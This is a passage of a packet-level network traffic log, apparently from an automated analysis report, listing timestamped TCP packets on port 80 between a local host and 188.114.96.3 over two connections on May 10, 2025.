May 10, 2025 08:05:48.375157118 CEST	80	49730	188.114.96.3	192.168.2.4
May 10, 2025 08:05:48.375174999 CEST	49730	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:48.375191927 CEST	80	49730	188.114.96.3	192.168.2.4
May 10, 2025 08:05:48.375224113 CEST	80	49730	188.114.96.3	192.168.2.4
May 10, 2025 08:05:48.375255108 CEST	49730	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:48.375256062 CEST	80	49730	188.114.96.3	192.168.2.4
May 10, 2025 08:05:48.375289917 CEST	80	49730	188.114.96.3	192.168.2.4
May 10, 2025 08:05:48.375293970 CEST	49730	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:48.375313044 CEST	49730	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:48.375324011 CEST	80	49730	188.114.96.3	192.168.2.4
May 10, 2025 08:05:48.375349998 CEST	49730	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:48.375559092 CEST	49730	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:48.517149925 CEST	80	49730	188.114.96.3	192.168.2.4
May 10, 2025 08:05:48.517162085 CEST	80	49730	188.114.96.3	192.168.2.4
May 10, 2025 08:05:48.517199993 CEST	80	49730	188.114.96.3	192.168.2.4
May 10, 2025 08:05:48.517226934 CEST	80	49730	188.114.96.3	192.168.2.4
May 10, 2025 08:05:48.517231941 CEST	49730	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:48.517246008 CEST	80	49730	188.114.96.3	192.168.2.4
May 10, 2025 08:05:48.517256975 CEST	80	49730	188.114.96.3	192.168.2.4
May 10, 2025 08:05:48.517265081 CEST	80	49730	188.114.96.3	192.168.2.4
May 10, 2025 08:05:48.517334938 CEST	49730	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:48.659399986 CEST	80	49730	188.114.96.3	192.168.2.4
May 10, 2025 08:05:48.659415960 CEST	80	49730	188.114.96.3	192.168.2.4
May 10, 2025 08:05:48.659425974 CEST	80	49730	188.114.96.3	192.168.2.4
May 10, 2025 08:05:48.659435034 CEST	80	49730	188.114.96.3	192.168.2.4
May 10, 2025 08:05:48.659461975 CEST	80	49730	188.114.96.3	192.168.2.4
May 10, 2025 08:05:48.659471989 CEST	80	49730	188.114.96.3	192.168.2.4
May 10, 2025 08:05:48.659481049 CEST	80	49730	188.114.96.3	192.168.2.4
May 10, 2025 08:05:48.659491062 CEST	80	49730	188.114.96.3	192.168.2.4
May 10, 2025 08:05:48.659492970 CEST	49730	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:48.659501076 CEST	80	49730	188.114.96.3	192.168.2.4
May 10, 2025 08:05:48.659539938 CEST	80	49730	188.114.96.3	192.168.2.4
May 10, 2025 08:05:48.659550905 CEST	80	49730	188.114.96.3	192.168.2.4
May 10, 2025 08:05:48.659563065 CEST	49730	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:48.659583092 CEST	80	49730	188.114.96.3	192.168.2.4
May 10, 2025 08:05:48.659588099 CEST	80	49730	188.114.96.3	192.168.2.4
May 10, 2025 08:05:48.659596920 CEST	80	49730	188.114.96.3	192.168.2.4
May 10, 2025 08:05:48.659601927 CEST	80	49730	188.114.96.3	192.168.2.4
May 10, 2025 08:05:48.659638882 CEST	80	49730	188.114.96.3	192.168.2.4
May 10, 2025 08:05:48.659725904 CEST	80	49730	188.114.96.3	192.168.2.4
May 10, 2025 08:05:48.659735918 CEST	80	49730	188.114.96.3	192.168.2.4
May 10, 2025 08:05:48.659744978 CEST	80	49730	188.114.96.3	192.168.2.4
May 10, 2025 08:05:48.659754038 CEST	80	49730	188.114.96.3	192.168.2.4
May 10, 2025 08:05:48.659811020 CEST	80	49730	188.114.96.3	192.168.2.4
May 10, 2025 08:05:48.659820080 CEST	80	49730	188.114.96.3	192.168.2.4
May 10, 2025 08:05:48.659828901 CEST	80	49730	188.114.96.3	192.168.2.4
May 10, 2025 08:05:48.659837008 CEST	80	49730	188.114.96.3	192.168.2.4
May 10, 2025 08:05:48.659846067 CEST	80	49730	188.114.96.3	192.168.2.4
May 10, 2025 08:05:48.659887075 CEST	80	49730	188.114.96.3	192.168.2.4
May 10, 2025 08:05:48.801110029 CEST	80	49730	188.114.96.3	192.168.2.4
May 10, 2025 08:05:48.801126957 CEST	80	49730	188.114.96.3	192.168.2.4
May 10, 2025 08:05:48.801136017 CEST	80	49730	188.114.96.3	192.168.2.4
May 10, 2025 08:05:48.801145077 CEST	80	49730	188.114.96.3	192.168.2.4
May 10, 2025 08:05:48.801188946 CEST	80	49730	188.114.96.3	192.168.2.4
May 10, 2025 08:05:48.801199913 CEST	80	49730	188.114.96.3	192.168.2.4
May 10, 2025 08:05:48.801208973 CEST	80	49730	188.114.96.3	192.168.2.4
May 10, 2025 08:05:48.801282883 CEST	80	49730	188.114.96.3	192.168.2.4
May 10, 2025 08:05:48.801292896 CEST	80	49730	188.114.96.3	192.168.2.4
May 10, 2025 08:05:48.801301956 CEST	80	49730	188.114.96.3	192.168.2.4
May 10, 2025 08:05:48.801312923 CEST	80	49730	188.114.96.3	192.168.2.4
May 10, 2025 08:05:48.801323891 CEST	80	49730	188.114.96.3	192.168.2.4
May 10, 2025 08:05:48.801332951 CEST	80	49730	188.114.96.3	192.168.2.4
May 10, 2025 08:05:48.801343918 CEST	80	49730	188.114.96.3	192.168.2.4
May 10, 2025 08:05:48.801347971 CEST	80	49730	188.114.96.3	192.168.2.4
May 10, 2025 08:05:48.801358938 CEST	80	49730	188.114.96.3	192.168.2.4
May 10, 2025 08:05:48.801405907 CEST	80	49730	188.114.96.3	192.168.2.4
May 10, 2025 08:05:48.801417112 CEST	80	49730	188.114.96.3	192.168.2.4
May 10, 2025 08:05:48.801425934 CEST	80	49730	188.114.96.3	192.168.2.4
May 10, 2025 08:05:48.801434040 CEST	80	49730	188.114.96.3	192.168.2.4
May 10, 2025 08:05:48.801443100 CEST	80	49730	188.114.96.3	192.168.2.4
May 10, 2025 08:05:48.801513910 CEST	80	49730	188.114.96.3	192.168.2.4
May 10, 2025 08:05:48.801526070 CEST	80	49730	188.114.96.3	192.168.2.4
May 10, 2025 08:05:48.801534891 CEST	80	49730	188.114.96.3	192.168.2.4
May 10, 2025 08:05:48.801544905 CEST	80	49730	188.114.96.3	192.168.2.4
May 10, 2025 08:05:48.801553965 CEST	80	49730	188.114.96.3	192.168.2.4
May 10, 2025 08:05:48.801564932 CEST	80	49730	188.114.96.3	192.168.2.4
May 10, 2025 08:05:48.801611900 CEST	80	49730	188.114.96.3	192.168.2.4
May 10, 2025 08:05:48.801644087 CEST	80	49730	188.114.96.3	192.168.2.4
May 10, 2025 08:05:48.801647902 CEST	80	49730	188.114.96.3	192.168.2.4
May 10, 2025 08:05:48.801651955 CEST	80	49730	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.011706114 CEST	80	49730	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.011885881 CEST	80	49730	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.012043953 CEST	49730	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:49.037311077 CEST	49730	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:49.144745111 CEST	49731	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:49.178319931 CEST	80	49730	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.285727024 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.285872936 CEST	49731	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:49.286974907 CEST	49731	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:49.427917004 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.428000927 CEST	49731	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:49.428066969 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.428100109 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.428132057 CEST	49731	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:49.428175926 CEST	49731	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:49.428217888 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.428250074 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.428301096 CEST	49731	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:49.428339958 CEST	49731	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:49.569664955 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.569679976 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.569684982 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.569693089 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.569698095 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.569701910 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.569708109 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.569736958 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.569763899 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.569772005 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.569782019 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.569791079 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.569794893 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.569798946 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.569803953 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.569808960 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.569813013 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.569861889 CEST	49731	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:49.569909096 CEST	49731	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:49.569936991 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.569991112 CEST	49731	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:49.711906910 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.711951017 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.711985111 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.712018013 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.712048054 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.712081909 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.712111950 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.712146044 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.712176085 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.712207079 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.712236881 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.712290049 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.712431908 CEST	49731	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:49.712573051 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.712604046 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.712639093 CEST	49731	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:49.712680101 CEST	49731	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:49.712707996 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.712738991 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.712779045 CEST	49731	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:49.712805033 CEST	49731	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:49.712837934 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.712868929 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.712891102 CEST	49731	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:49.712924004 CEST	49731	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:49.712954998 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.712985992 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.713023901 CEST	49731	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:49.713053942 CEST	49731	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:49.713077068 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.713108063 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.713148117 CEST	49731	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:49.713176966 CEST	49731	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:49.713208914 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.713239908 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.713269949 CEST	49731	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:49.713296890 CEST	49731	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:49.713326931 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.713387012 CEST	49731	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:49.854094028 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.854116917 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.854126930 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.854218960 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.854268074 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.854370117 CEST	49731	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:49.854409933 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.854506969 CEST	49731	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:49.854528904 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.854538918 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.854578972 CEST	49731	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:49.854602098 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.854613066 CEST	49731	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:49.854652882 CEST	49731	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:49.854726076 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.854736090 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.854825020 CEST	49731	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:49.854845047 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.854908943 CEST	49731	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:49.854989052 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.854998112 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.855074883 CEST	49731	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:49.855108976 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.855139017 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.855165958 CEST	49731	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:49.855248928 CEST	49731	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:49.855293036 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.855353117 CEST	49731	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:49.855420113 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.855506897 CEST	49731	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:49.855528116 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.855537891 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.855619907 CEST	49731	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:49.855644941 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.855667114 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.855695963 CEST	49731	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:49.855714083 CEST	49731	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:49.855742931 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.855843067 CEST	49731	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:49.855885029 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.855895996 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.855952024 CEST	49731	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:49.855997086 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.856007099 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.856061935 CEST	49731	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:49.856137991 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.856148958 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.856204987 CEST	49731	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:49.856218100 CEST	49731	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:49.856277943 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.856287956 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.856331110 CEST	49731	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:49.856349945 CEST	49731	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:49.999047041 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.999069929 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.999075890 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.999080896 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.999092102 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.999098063 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.999104023 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.999109030 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.999114990 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.999119997 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.999125004 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.999130011 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.999135017 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.999140024 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.999145031 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.999150038 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.999161005 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.999166965 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.999171972 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.999176979 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.999181986 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.999187946 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.999193907 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.999206066 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.999212027 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.999216080 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.999222040 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.999232054 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.999238014 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:49.999629021 CEST	49731	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:49.999830008 CEST	49731	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:49.999927998 CEST	49731	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:50.143846035 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.143923044 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.143970966 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.144013882 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.144057989 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.144104958 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.144149065 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.144195080 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.144237995 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.144299030 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.144318104 CEST	49731	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:50.144342899 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.144388914 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.144412994 CEST	49731	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:50.144432068 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.144443989 CEST	49731	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:50.144469976 CEST	49731	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:50.144490004 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.144535065 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.144547939 CEST	49731	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:50.144571066 CEST	49731	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:50.144578934 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.144623041 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.144638062 CEST	49731	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:50.144665956 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.144709110 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.144721985 CEST	49731	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:50.144746065 CEST	49731	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:50.144752026 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.144797087 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.144818068 CEST	49731	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:50.144840956 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.144885063 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.144928932 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.144938946 CEST	49731	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:50.144973040 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.144989014 CEST	49731	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:50.145016909 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.145060062 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.145076990 CEST	49731	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:50.145103931 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.145106077 CEST	49731	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:50.145148039 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.145157099 CEST	49731	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:50.145190954 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.145232916 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.145246983 CEST	49731	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:50.145276070 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.145299911 CEST	49731	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:50.145319939 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.145363092 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.145405054 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.145417929 CEST	49731	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:50.145442963 CEST	49731	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:50.145448923 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.145493984 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.145505905 CEST	49731	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:50.145538092 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.145581007 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.145591974 CEST	49731	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:50.145621061 CEST	49731	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:50.145623922 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.145668030 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.145683050 CEST	49731	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:50.145710945 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.145754099 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.145797014 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.145808935 CEST	49731	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:50.145839930 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.145883083 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.145893097 CEST	49731	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:50.145925999 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.145967960 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.145983934 CEST	49731	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:50.146009922 CEST	49731	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:50.146011114 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.146055937 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.146064997 CEST	49731	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:50.146092892 CEST	49731	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:50.146100998 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.146161079 CEST	49731	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:50.289568901 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.289609909 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.289629936 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.289649963 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.289670944 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.289683104 CEST	49731	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:50.289691925 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.289711952 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.289735079 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.289757967 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.289758921 CEST	49731	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:50.289778948 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.289798975 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.289819002 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.289838076 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.289856911 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.289875984 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.289896011 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.289916039 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.289932013 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.289954901 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.289973974 CEST	80	49731	188.114.96.3	192.168.2.4
May 10, 2025 08:05:50.289993048 CEST	80	49731	188.114.96.3	192.168.2.4
